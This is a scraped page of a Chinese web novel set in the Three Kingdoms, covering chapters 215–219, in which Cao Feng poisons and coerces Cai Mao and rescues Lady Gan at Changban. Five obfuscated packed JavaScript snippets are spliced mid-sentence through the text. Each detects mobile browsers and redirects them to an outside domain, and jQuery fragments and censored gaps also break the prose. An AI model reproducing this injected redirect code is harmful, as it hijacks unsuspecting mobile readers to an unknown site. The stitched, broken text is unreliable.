;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021791|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>曹操本来就多疑,触怒他的后果,绝不是他蔡瑁,甚至整个蔡家能承受的! 蔡瑁当即决定,先去禀报曹操,探探口风,再做定夺。 谨慎,才是乱世生存之道。 【然而,他刚踏出蔡府气派的大门,脚步还未在门前的石阶上站稳,便感觉腰间被一个冰冷坚硬的东西狠狠顶住!】 【同时,一个低沉阴冷的声音在他背后响起:“蔡将军,我家公子有请。请吧,莫要声张。”】 【他甚至没看清身后之人的脸,就被半胁迫、半裹挟地塞进了一辆不起眼的马车,一路疾驰,带到了这里。】 在自家门口被人生生掳走,简直是奇耻大辱! 【想到这里,蔡瑁心中的怒火再也压制不住,他猛地一拍身旁的紫檀木案几,震得上面的杯盏叮当作响。】 【他对着坐在对面的蔡夫人厉声斥责道:“你知不知道自己在做什么?!”】 【“糊涂!愚蠢!”】 【“此刻与那曹风私下勾连,若让明公知晓,我们蔡家满门都要被你害死!万劫不复!”】 【蔡夫人抬起眼,迎上兄长愤怒的目光,脸上却是一片近乎冷酷的平静,没有辩解,也没有丝毫愧疚。】 她心中早已一片冰凉。 当蔡瑁昨夜在宴席上,为了向曹操表忠心、为了蔡家的“未来”,有意无意地将她这个妹妹当作礼物推向曹操时,所谓的家族情分在她心中就已经彻底断绝了。 既然蔡家不顾她们母子的死活,她又何必再顾忌蔡家的存亡呢? 她只想抓住曹风这根看似疯狂却可能是唯一的救命稻草,带着儿子活下去。 【见蔡夫人沉默不语,蔡瑁更是气不打一处来。】 【他指着她怒道:“小妹!有你这么坑害自己哥哥的吗?”】 【“曹风这是‘约’我?”】 【“用刀子顶着腰眼‘约’?!”】 【“这是绑票!是劫持!”】 蔡瑁感到无比的憋屈和愤怒,堂堂荆州水军都督,竟在自家门口被人用刀“请”走,若是传出去,他颜面何存? 第215章 蔡瑁:说好的荣华富贵呢?怎么突然变弃子了! 【曹风的目光看着有些惊慌失措的蔡夫人。】 【他嘴角勾起一抹冷笑。】 【“你们荆州蔡家的人,骨子里果然都流着点蠢笨的血。你兄长居然还天真地以为,曹操是真的‘看得起’他这个人?真是笑话!”】 【蔡夫人被曹风这突如其来的轻佻举动惊得浑身一颤,本能地想要偏头躲开他伸来的手指。】 【然而,当她的目光对上曹风那双深邃的眼睛时,顿时让她没了反抗的念头。】 【曹风眼中既无情欲,也不见轻浮,只有冰冷,和视人命如草芥的漠然。】 蔡夫人和别的女人不同,她毕竟是跟在刘表身边见过血腥场面的人。 那是真正杀过人、见过血的眼神! 【恐惧瞬间让她僵住,动弹不得,只能任由曹风轻佻地抬着她的下巴,被迫维持着这个姿势。】 【同时,承受着兄长惊怒交加的目光。】 【“曹风!”蔡瑁脸上的笑容再也维持不住,彻底消失无踪,取而代之的是被当面羞辱和挑拨离间的怒火。】 【他猛地站起身,声音因愤怒而拔高:“公子如此肆无忌惮地羞辱蔡某,更是挑拨离间,妄图破坏明公与蔡某之间的信任,实乃不智之举!”】 蔡瑁感到自己作为荆州重臣的尊严被曹风践踏在地,连带着蔡家的颜面也一同受辱。 曹风依旧无视蔡瑁的愤怒和指责。 【曹风捏着蔡夫人冰凉的下巴,平静地说道:“事情办得不错。你的儿子刘琮,已经在前往凉州的路上了。算算时辰,此刻应当已出了襄阳地界。】” 【“什么?!琮儿!”蔡夫人如遭雷击。】 【她再也顾不上对曹风的畏惧,猛地挣曹风脱捏在自己下巴的手指。】 【也顾不上仪态,蔡夫人几乎是扑倒在曹风脚边的案几旁,满是哀求:“公子!公子!您答应过妾身的!”】 【“您说过会信守承诺的!求求您!求求您放过琮儿!他只是个孩子啊!”】 此刻,她不再是那个雍容华贵的蔡夫人,只是一个绝望的母亲。 【“慌什么?”曹风收回手,“本公子说过的话,自然算数。我曹风或许名声不佳,但论起信守承诺……”】 【他嘴角勾起一丝意味深长的弧度,“可比曹操可靠多了。”】 【“至少,本公子答应不杀你们母子,就绝不会动手。你也收拾收拾,启程前往凉州吧。那里是我的地盘。可保你母子平安。”】 【蔡瑁猛地一咬牙,心中对曹风身份的顾忌全都抛到了九霄云外。】 【他厉声道:“三公子!您这么做,是在公然与明公为难!是在挑战他的底线!”】 【话音未落,他再也按捺不住,猛地转身,就要冲出厅堂去追回已经离开的刘琮。】 蔡瑁明白,如果让蔡夫人在他眼皮底下被曹风弄去了凉州,曹操震怒之下向他要人,他拿什么交差? 更何况,刘琮作为刘表名义上的继承人,是曹操用来稳定荆州、安抚人心的关键棋子,曹操绝不可能容忍其脱离自己的掌控范围! 【“三哥!不要啊!”蔡夫人眼见兄长要冲出去追回自己的儿子,心如刀绞。】 【她哭喊着,不顾一切地扑过去,死死抱住蔡瑁的一条小腿,用尽全身力气拖拽着他,泣不成声地哀求。】 【“三哥!求求你了!看在我们兄妹一场,看在琮儿是你亲外甥的份上!放过我们娘俩吧!”】 【“求求你了!我们只求一条生路,绝不会连累蔡家!”】 【蔡瑁的脚步被妹妹死死拖住,他低头看着那张涕泪横流、写满绝望与哀求的脸,眼中闪过一丝极其短暂的挣扎和犹豫。】 【但仅仅是一瞬间,那点微弱的亲情就被对权势的渴望和对曹操雷霆手段的恐惧彻底取代。】 在他的天平上,妹妹和外甥的性命,远不及他自己的锦绣前程和整个蔡氏家族的兴衰荣辱来得重要! 【“小妹!休要怪我!我……”】 【“我这也是为了咱们整个蔡家的未来!”】 【蔡瑁狠下心肠,眼中闪过一丝厉色,猛地用力,一脚将紧紧抱住他腿的蔡夫人狠狠踢开!】 【蔡夫人被他这一脚踹得闷哼一声,狼狈地翻滚在地,发髻散乱,钗环掉落,显得无比凄凉。】 【“公子!公子!求求您!拦住他!”】 【蔡夫人眼见无法阻拦蔡瑁,连忙又挣扎着,跪着爬向曹风的方向。】 【曹风提起案上的酒壶,将一只空杯斟满。】 【他将酒杯稳稳地推到蔡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026487|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人面前,声音低沉:“先把你昨天该喝而没喝的那杯酒,给我补上。”】 蔡夫人此刻哪里还敢有半分迟疑? 只要能救儿子,莫说是一杯酒,就是**她也会毫不犹豫地吞下! 【她几乎是扑到案几旁,颤抖着双手捧起那杯酒,仰起头,一饮而尽!】 【她刚放下空杯,就惊愕地发现,刚刚气势汹汹冲出厅门的兄长蔡瑁,竟然以另一种方式“回来”了—— 不是走回来,而是整个人凌空倒飞回来了!】 【“噗通!”一声沉重的闷响。】 【蔡瑁重重地摔在厅堂中央,距离他刚才站立的位置不远。】 【他蜷缩着身体,脸色瞬间变得煞白,额头上渗出豆大的冷汗,显然这一下摔得不轻。】 【厅门口一个身影懒洋洋地斜倚在门框上。史阿懒散地打了个哈欠,揉了揉惺忪的睡眼,“公子没准许你走,你走得了么?”】 【“况且,你可是我眼中行走的武学秘籍。”】 【蔡瑁捂着剧痛的胸口,艰难地抬起头,眼中燃烧着怒火和**,死死瞪向端坐主位、依旧气定神闲的曹风。】 【他挣扎着想要开口斥责:“曹风!你……你竟敢……”】 【“你什么你!”曹风毫不客气地打断了他,“蠢货!你以为我是在害你?我这是在救你!”】 【他站起身,踱步到蔡瑁面前,居高临下地俯视着这位荆州水军大都督,“曹操,他真的是看重你蔡瑁这个人吗?”】 【“他看重的,是你手上那十万荆襄水军!”】 【“等他彻底掌握了这十万水军,将你的价值榨取得一干二净后,你觉得你在他眼中,还会是什么不可或缺的重臣吗?”】 【“到那时,你不过是一枚随时可以丢弃的弃子罢了!”】 【“仅仅一个简单的‘离间计’!他就能杀了你!”】 【“比如,有人散布你蔡瑁心怀旧主、图谋不轨的流言,或者‘发现’你与刘备、孙权暗中往来的‘证据’。”】 【“以曹操多疑猜忌的性格,你必然死!”】 【蔡瑁闻言一愣。】 曹操的疑心病重。曹风所言,绝非危言耸听! 他甚至下意识地觉得这番话极有道理。 第216章 蔡瑁:狠人+疯子,惹不起就加入 然而想了片刻,蔡瑁觉得曹风也不可信。 有其父,必有其子。 这会不会正是曹风的离间之计? 曹风故意挑拨自己和曹操的关系,好从中渔利? 【蔡瑁的脸色变幻不定,猛地摇了摇头,强迫自己冷静下来。】 他心中暗道:“好险!差点就着了这小子的道!不过,虽然第一次与曹风接触,这小子并没有像传言中的那么差啊!甚至,比那宴席上曹操其他儿子还要优秀。” 【似乎看穿了蔡瑁内心,不等他开口反驳或质疑,曹风便再次开口,“我倒是可以保你性命。”】 【“放心,我此刻不需要你立刻表态,更不需要你背叛曹操。你只需记住我今天的话,安安稳稳地继续做你的水军大都督。”】 【曹风话锋一转:“但是!我救你的前提,是你不能丧失在荆州水军中的威望和影响力,”】 【“我也不瞒着你,我今日愿意与你费这番口舌,很大一部分原因……”曹风微微停顿,“也正是因为你手中这些纵横长江的水军!”】 【蔡瑁躺在地上,捂着疼痛的胸口,大脑飞速运转。】 曹风的话虽然刺耳,却点出了他最大的价值所在。 多一个退路,多一个能在曹操翻脸时可能救自己一命的“盟友”…… 似乎并非坏事? 尤其是在见识了曹风的手段和他身边那个深不可测的护卫史阿之后。 【权衡利弊,蔡瑁艰难地吸了口气。】 【“好!若真有那么一天……”】 【“我蔡瑁被明公逼到走投无路之时,今日之言,再议不迟。但是眼下……”】 【他挣扎着坐起身,目光扫过旁边惊魂未定的蔡夫人,“她们娘俩绝对不能离开荆州!更不能去凉州!”】 【“若是让明公察觉她们母子无故失踪,雷霆震怒之下,恐怕我蔡瑁……”】 【“根本等不到你说的那一天,就要人头落地了。整个蔡家满门遭殃了!”】 【“这件事儿,也无需你操心。我自有安排。我会让她们‘合理’地死去。你只需当作什么都不知道,继续扮演好你忠心耿耿的角色即可。”曹风语气轻松随意。】 对蔡瑁而言千难万难的事,从他口中说出来,却像在谈论一件微不足道的小事。 蔡瑁心头刚松了半口气。 【“不过……”可紧接着,曹风的声音却陡然转冷,“若你敢将今日厅堂内发生的任何事、任何话,泄露给曹操,或是其他不该知道的人……”】 【话音未落,曹风的手突然一动。】 【没人看清他是从袖中还是案几下,取出一把短**。】 【在蔡瑁惊骇欲绝的目光注视下,曹风的手指没有丝毫犹豫,干净利落地扣动了**!】 【“咔嚓!”一声轻响!】 【蔡瑁只觉得头皮一阵火辣辣的疼痛,死亡与他擦身而过。】 【“笃!”一声闷响,那支致命的**箭深深地钉入了蔡瑁身后不远处的墙壁之中!】 【箭尾的翎羽还在剧烈地颤抖,发出嗡嗡的余音。】 【蔡瑁下意识地猛地缩紧了脖子。】 【“疯子!你就是个疯子!”他声音发颤,惊恐地摸向自己剧痛的头。手指收回时,指尖赫然沾着一抹刺眼的鲜血。】 蔡瑁怎么也没想到,曹风竟会突然出手——毫无征兆,狠辣至极! 更让蔡瑁憋屈的是,他已经一忍再忍,曹风却还是对他下黑手!到底想要他怎样?! 【曹风晃了晃手中那支短**:“记住这种感觉。杀你……”】 【“我有很多种办法,很多种。而且,保证能让曹操也查不出是谁做的。”】 【“所以,管好你的嘴,做好你该做的事。你的命,在我手里攥着了。”】 【蔡瑁强忍着胸口的疼痛,慌忙起身向曹风行礼,随即转身便要离开。】 【此刻的他,只想尽快逃离这个充满算计的是非之地。 然而,他刚迈出两步,身后便传来曹风那带着几分戏谑的声音—— “慢着。”】 【蔡瑁脚步一顿,心中一紧。】 【他缓缓回头,只见曹风倚靠在案几旁,手指有节奏的轻轻敲击着酒杯,嘴角噙着一抹似笑非笑的弧度。】 【“记得,每月来此饮一杯酒。”曹风的声音不紧不慢,“你到了之后,自会有人为你送上特制的酒。”】 【蔡瑁瞳孔一缩,目光猛地落向桌上那只自己刚刚饮尽的空杯。】 刹那间,寒意从脊背直窜而上。 【“三公子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16030291|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你……你竟给我下毒?!”他的声音微微发颤,不知是愤怒还是恐惧所致。】 【曹风坦然一笑,摊开双手:“对,明人不做暗事。虽然给你下毒,但我可是告诉你了。”】 【“你这叫明人不做暗事?!”蔡瑁怒极反笑,几乎要破口大骂,可话到嘴边,却又硬生生咽了回去。】 因为他猛然意识到,自己已经被曹风彻底拿捏住了。 无论是武力威慑,还是此刻的毒酒胁迫,都让他毫无反抗的余地。 得罪曹风? 那只会让自己死得更快。 更何况…… 下毒这种手段,似乎本就符合传闻中曹风的作风。 【蔡瑁咬了咬牙,不再多言,捂着隐隐作痛的胸口,刻意绕开倚在门口的史阿,脚步匆匆地离开了这座让他窒息的府邸。】 【蔡瑁独自策马回府,脑海中仍回荡着方才的一幕幕。】 短短一个时辰,却仿佛经历了一场漫长的博弈。 他的情绪几经起伏,从最初的轻视,到后来的震惊,再到如今的恐惧…… 越是回想,他越是心惊。 曹风展现出的心机与手段,丝毫不逊于他的父亲曹操。 甚至,蔡瑁隐隐觉得,曹风比曹操更加可怕。 至少,曹操的威压尚可揣测,而曹风的行事却诡谲难测,令人防不胜防。 武力胁迫还不够,竟还暗中下毒! 更让蔡瑁心惊的是,若非临走时曹风“好心”提醒,他根本不会察觉自己早已喝下毒酒。 曹风的言语、举动,一切都自然得毫无破绽,仿佛只是寻常谈话。 这般演技,这般心机,简直令人毛骨悚然。 曹风行事狠辣,不择手段,甚至全然不顾及名声。 若是下毒之事传出去,他的名声必然更加不堪。但转念一想蔡瑁苦笑一声,摇了摇头。 曹风在乎吗? 他的名声,早就臭不可闻了。 【“真是个疯子……”蔡瑁低声喃喃,可随即,他又眯起了眼睛。】 乱世之中,唯有狠人才能立足。 而曹风,无疑就是这样的狠人。 或许……投效他,未必是件坏事? 蔡瑁握紧缰绳,眼中闪过一丝复杂的神情。 第217章 长坂坡来了! 【三日后,一张噩耗狠狠拍在曹操案头。】 蔡夫人携幼子刘琮出游途中,竟遭凶悍**袭击,母子二人双双殒命! 这突如其来的变故,破坏了曹操荆州的布局。 【暴怒中的曹操,即刻便要召见蔡瑁,严令其率精兵强卒,务必擒杀这伙胆大包天的恶徒。】 【然而,蔡瑁早已得到了曹风密授的计策,并服下了他送来的药。】 这药服下后,便能伪装成重病之状,除非是像华佗这样的神医,否则寻常大夫根本查不出端倪。 【蔡瑁深居府中,紧闭门户,对外宣称: 他突然听闻小妹及外甥惨死,悲痛攻心,以至于一病不起,奄奄一息。】 【曹操本就生性多疑,而蔡瑁病倒的时机又太过巧合,于是他派大夫前去查探。】 【结果大夫回报,蔡瑁确实病倒了,而且病势沉重。】 【无奈之下,曹操只得将缉凶的重任交给张允。】 毕竟蔡瑁和张允对荆州最为熟悉。 【可张允带着部下搜寻多日,几乎翻遍了所有可疑的地方,连**的半点儿踪迹都没找到。】 【回来报信的使者吓得浑身发抖。】 【曹操听完报告,顿时怒发冲冠,召来张允。他差点当场拔剑把张允**在台阶上。】 【消息传到卧病在床的蔡瑁耳中,他惊得冒出一身冷汗,心里对曹风更是佩服得五体投地。】 要不是曹风及时送来这个“装病脱身”的计策,现在在鬼门关前打转的,恐怕就是他自己了! 更令蔡瑁心惊的是,曹风的手段果然通天彻地。 他竟真能让曹操对蔡夫人母子遇害一案,投入许多人力和物力,掘地三尺,却始终理不出半点头绪。 只有蔡瑁心中雪亮:此时此刻,他那可怜的妹妹和年幼的外甥,想必已在曹风的周密安排下,悄然踏上了通往凉州的路途,远离了这片杀机四伏的荆州。 一波未平,一波又起。 【正当曹操为荆州焦头烂额之际,又一道急报传来: 【盘踞新野的刘备,得知刘琮竟不战而降,献了荆州,心知新野已成孤城绝地,再无坚守可能,只得仓促率领军民,弃新野城而走。目标直指江陵,欲投奔其侄刘琦。】 荆州蔡氏母子的血案虽然重要,但比起擒杀刘备这个心腹大患,也可暂放一旁。 【曹操亲自率领大军追击刘备,甚至连最精锐的虎豹骑都全部带上了,誓要灭了刘备。】 【刘备携裹着新野及沿途归附的百姓,男女老幼,拖家带口,足有十余万众。】 【沉重的辎重、啼哭的婴孩、蹒跚的老人……】 【队伍行进速度缓慢。】 【曹军铁骑的很快,在当阳境内的长坂坡追上了刘备的队伍。】 【杀声震天!】 【护卫的军士被冲散,手无寸铁的百姓更是惊惶奔逃,互相践踏,哭喊声、惨叫声响彻整个长坂坡。】 【生死关头,刘备也顾不得妻儿家小,在张飞、诸葛亮等数十名亲卫的死命保护下,奋力杀开一条血路,仓皇突围而去。】 【刚刚突围的赵云发现,甘夫人与尚在襁褓中的刘禅,在乱军冲杀中失散了!】 【他心中大急,勒转马头,毫不犹豫地逆着溃败的人潮,单枪匹马杀回敌阵核心。】 【赵云策马疾驰,锐利的目光扫过战场每一处角落。】 【忽见糜竺正被一员曹军将领紧追不舍,狼狈不堪,险象环生。】 【赵云大喝一声,拍马挺枪!】 【**贯穿了那将领的咽喉!】 【那曹将哼都未哼一声,便栽**下。】 淳于导成为了第一个殒命于赵云枪下、有名号的曹军将领。 【赵云为惊魂未定的糜竺指明刘备突围的大致方向后,便再次调转马头,义无反顾地扎进了更深处、更密集的曹军兵海之中。】 【看着赵云奋不顾身离去的背影,糜竺不禁感叹:“赵子龙,当真是忠义无双!”】 【很快,第二个“倒霉蛋”撞上了赵云这尊杀神。】 这个倒霉蛋正是曹操的背剑亲随——夏侯恩! 此人自恃勇力,又背负曹操珍爱的青釭宝剑,颇为骄横。 见赵云单骑闯阵,便想上前捡个便宜。 【岂料赵云枪法很快、】 【两马交错,仅一个照面,冰冷的枪尖已透胸而过!】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039072|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【夏侯恩眼中满是难以置信的惊骇,尸体颓然坠地。】 【赵云俯身探手,顺势摘下了他背上那柄寒光四射的名剑——青釭!】 神兵在手,如虎添翼! 青釭剑锋锐无匹,削铁如泥。 【赵云左**,右手剑,枪如游龙,剑似惊鸿,在曹军阵中左冲右突,所向披靡。】 【挡者披靡,沾着即死,碰着即亡!】 【赵云硬生生在血肉横飞的战场上杀出一条血路。】 【不知挑翻了多少敌骑,踏过了多少尸体,赵云终于在一口废弃的枯井旁,找到了甘夫人。】 【她此时发髻散乱,钗环尽失,赤着双足,褴褛的衣衫上沾满泥泞与血污。】 【她背靠着冰冷的井壁,用尽全身力气,紧紧地将襁褓中的阿斗护在怀中。她眼神疲惫却异常坚定,带着一种母兽护崽般的决绝。】 【“子龙将军!”甘夫人看到浴血而来的赵云,灰败的脸上瞬间燃起希望的光彩。】 赵云滚鞍下马,“噗通”一声重重跪在甘夫人面前。他抱拳 【“主母受惊了!末将来迟!请主母速与少主上马!子龙纵粉身碎骨,也定护您母子周全!”】 【甘夫人低头,心疼地凝视着怀中沉沉睡去的阿斗。】 【她轻轻摇头,声音带着深深的绝望与不舍:“我知子龙将军忠义,妾身感激不尽。妾身双腿皆伤,寸步难行。”】 【“若带上我,只会成为将军的累赘,更会连累阿斗……”】 【甘夫人深吸一口气,决然道:“将军不必管我,速速带着阿斗走!将他平安交到皇叔手中!”】 【“这是妾身最后的恳求!”说罢,她颤抖着双手,小心翼翼地将襁褓中的婴儿递向赵云。】 【在襁褓离手的瞬间,甘夫人猛地别过头去,肩膀剧烈地抽动,滚烫的泪水无声滑落,砸在冰冷的井沿上。】 她深知,这一别,便是阴阳永隔,再无相见之期。 她自己宁可死,也绝不能再落入曹军之手! 上一次被俘,若非关云长义薄云天,横刀立马护她周全,她的清白乃至性命,恐怕早已断送在曹操手中。 她宁死也不愿再承受第二次! 第218章 甘夫人莫慌!曹脩来也! 【赵云接过那小小的、却承载着刘备军未来希望的襁褓。】 赵云迅速解下束甲丝绦,异常小心地将阿斗牢牢缚在自己宽阔坚实的胸前。】 【他又仔细地将护心镜和几层坚韧的皮甲整理好,确保婴孩被严密保护,不受刀兵之伤。】 【“主母!”赵云焦急万分,指着自己的战马,“请您速速上马!云便是徒步,也要杀出一条血路,护您出去!”】 【甘夫人依旧摇头,目光决绝,语气不容置疑:“阿斗的性命更重要!将军莫再迟疑!快走!”】 【就在这时,一阵杂乱的马蹄声和喊叫声由远及近!】 【又一队曹军发现了此处的动静,正呼喝着猛扑过来!】 【赵云怒吼一声,也顾不上骑马,挺枪迎向来敌。】 【枪影翻飞,血花四溅。】 【瞬间将冲在最前的几名曹兵挑杀。】 【甘夫人看着赵云浴血奋战的背影,眼中含泪,嘴角却扯出一个凄楚而温柔的微笑:“阿斗,我的儿……”】 【“你一定要活下去……替娘亲……好好活下去……”】 【她艰难地用手撑住井沿,用尽全身力气,想要支起身子,投入那口象征着最后尊严的枯井。】 【然而,就在她身体前倾的刹那,一个冰凉的小物件,从她怀中悄然滑落。】 【“啪嗒”一声掉在泥泞的地上。】 【是一个小巧精致的黄铜圆筒。】 【甘夫人的动作猛地顿住了。】 【她颤抖着伸出手,将它拾起,紧紧攥在手心。】 冰冷的金属触感,却带着遥远的温度,瞬间将她拉回了数年前的那个午后。 【是那个叫曹脩的少年……】 【当年曹脩将两个圆筒分别交到她与糜夫人手中:“两位夫人待我恩重如山,若非你们恳请关将军授我武艺,脩断无今日福气。”】 【“此物请两位夫人收好,贴身携带。若他日遭遇生死大难,两位夫人只需用力拧动此筒底部机关,将其射向天空。”】 【“无论何等险阻,脩必前来相救!”】 当时,她只当是少年人热血心肠的戏言。 一个圆筒,一道烟花,如何能搬来救兵? 况且,她那时心中笃定,夫君刘备仁德昭彰,必不会再次抛弃她于险境。 再者,天下何其之大,她若遇险,曹脩又怎可能恰好就在附近? 然而,她还是将这个小小的圆筒珍藏了起来,贴身携带。 感念那少年眼中毫无杂质的赤诚; 还有,她很怀念那段时光。 看曹脩与关羽习武、偶尔陪她说笑的短暂宁静时光。 虽然那时她被困在危机四伏的曹营,但这竟成了她嫁给刘备后,为数不多能过得安稳清闲的日子。 当阿斗降生后,她对这个圆筒,更添了一份情感寄托。 她清晰地记得,当年曹脩曾用一种异常笃定的语气,对她说过:“夫人福泽深厚,将来定会诞下一位极其出色的麟儿。” 如今阿斗平安降生,她心中对曹脩当年的“吉言”充满了感激。 夜深人静时,她常对着熟睡的阿斗,也对着这个圆筒,默默祈愿:愿我儿阿斗,也能如那少年曹脩一般,聪慧、坚韧、心怀赤诚,成长为一个顶天立地的男儿。 【想到这里,甘夫人苍白的脸上浮现出一抹带着苦涩与追忆的笑容。】 【她摩挲着冰冷的筒身,喃喃自语:“阿斗,娘亲不能再陪着你了……”】 【“真希望你能平安长大,长成像曹脩那样……”】 【“顶天立地的好孩子,可惜娘看不到了……”】 甘夫人现在还不知道,这片刻的失神与回忆,却改变了她的命运。 【而就在这短暂的耽搁里,赵云杀退了那队曹兵。】 他一眼便看见甘夫人已半身悬于井口之上!】 【“主母!万万不可!”赵云肝胆俱裂,声嘶力竭地大吼,几乎是连滚带爬地扑到井边。】 【“咚”地一声重重跪下。】 【赵云虎目含泪,声音哽咽:“主母三思!云便是拼却性命,也定能护您杀出重围!求主母珍重!”】 【“子龙!”甘夫人猛地回头,眼神凌厉,带着不容置疑的决绝。】 【“带上我儿,立刻走!否则,我即刻便跳下去!”】 【她高高举起手中的黄铜圆筒,对着赵云晃了晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039073|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你且放心去吧!我自有脱身之法!”】 赵云心如刀绞,却也明白主母心意已决,绝无更改。 他再拖延片刻,不仅主母必死,怀中少主也必将陷入绝境。 【赵云喉头哽咽,对着甘夫人重重磕了一个头:“主母……保重!”】 【随即猛地起身,跃上马背,最后看了一眼那枯井旁单薄却无比坚毅的身影。】 【赵云狠狠一夹马腹,战马长嘶,载着胸前紧缚的阿斗,飞奔而走。】 【甘夫人望着赵云被烟尘渐渐吞没的背影,心中紧绷的那根弦也松开了。】 只要阿斗能活着,能平安到达他父亲身边,那她付出任何代价,都值得了。 【甘夫人收回目光,低头凝视着手中那黄铜圆筒。】 【她深吸一口气,用尽全身力气,猛地将圆筒高高举向灰蒙蒙的天空,用力拧动了底部!】 【“嗤——咻!”】 【一道刺眼的、拖着长长尾焰的赤红色火花,骤然从圆筒顶端激射而出,直刺苍穹!】 【轰隆!】 【一声沉闷的爆鸣在高空炸响!】 【刹那间,一朵七彩烟花在长坂坡上空轰然绽放!】 【那光芒甚至短暂地压过了战场上的烽烟,引得无数厮杀中的士兵都不由自主地抬头仰望。】 【曹脩的身影并未如神兵天降般出现。相反,这耀眼的信号,立刻引来了附近的曹军士兵。】 【甘夫人的脸上,却没有丝毫的怨恨或恐惧。】 【她望着那消散的烟花痕迹,反而露出一个极其平静、甚至带着一丝释然的微笑。】 她没有怪曹脩,这本就是一场渺茫的奢望。 能在生命的最后时刻,看到如此美丽的景象,想起那个明亮的少年,已是意外之喜。 【追兵已近,狰狞的面孔清晰可见。】 甘夫人最后望了一眼赵云离去的方向,仿佛能穿透烟尘看到阿斗平安的身影。】 【她双手用力撑住井沿,闭上双眼,准备投入那冰冷的深渊。】 就在这时! 【“甘夫人莫慌!曹脩来也!”】 一声清越激昂的暴喝,传入甘夫人耳中! 第219章 杀出重围 【只见枯井前方不远处的一个岔路口,一骑白马将滚滚烟尘撕裂开,骤然冲出!】 【骑在白马背上的将领,脸上覆盖着一副造型狰狞的面具,手中一杆银白**,枪缨如血!】 正是曹风! 其实,曹风只记得前世看过的三国演义中,糜夫人于长坂坡投井自尽,却不知其具体方位。 战场如此广阔,血腥气浓烈得令人窒息,即便是他座下那匹通灵的神驹“黑子”,其敏锐的嗅觉也只能大致锁定一个范围。 曹风正在这一带策马搜寻,如同大海捞针,忽然,眼角余光瞥见了那冲天而起、绚丽夺目的七彩烟花! 这独特的信号,他再熟悉不过! 正是他当年留给糜夫人和甘夫人的求救之物! 没有丝毫犹豫,曹风一夹马腹,黑子通晓主人心意,长嘶一声,四蹄腾空,化作一道白色闪电,朝着烟花升起的方向狂飙突进! 曹风赶到时,却发现井边抱着阿斗的并非糜夫人,而是甘夫人。 【“贼子敢尔?!”】 【只见曹风在疾驰中竟能稳稳开弓!】 【神弓被他拉成满月,箭矢连珠般射出,破空之声尖锐刺耳!】 【每一箭都精准无比,例无虚发!】 【冲在最前面、已然逼近井口、正欲伸手擒拿甘夫人的几名曹军士兵,咽喉或心口瞬间爆开血花,哼都没哼一声便栽倒在地。】 【弓弦还在震颤,曹风已抛下强弓,**在手!】 【一人一马,如虎入羊群,悍然撞入这队曹兵之中!】 【枪出如龙,寒星点点,或刺或扫,或挑或砸!】 【枪影所至,人仰马翻,血雨纷飞!】 【那些曹兵竟如同纸糊泥捏一般不堪一击!】 【三十余名曹兵已尽数毙命于枪下。】 【曹风目光迅速扫过战场,锁定一匹无主的曹军战马。他策马上前,一把抓住缰绳,将马牵到惊魂未定的甘夫人面前。】 【“甘夫人!”曹风迅速翻身下马,几步抢到井边。】 【曹风抬手掀开了脸上那副狰狞的青铜兽面面具,露出一张年轻、刚毅的脸庞。】 【与当年甘夫人见到的那个曹修相比,如今的曹修眉宇间已多了几分沙场磨砺出的沉稳,眼中也隐隐透着杀气。】 【甘夫人看着这张既熟悉又有些陌生的脸,带着难以置信的哽咽:“小脩……真……真的是你!”】 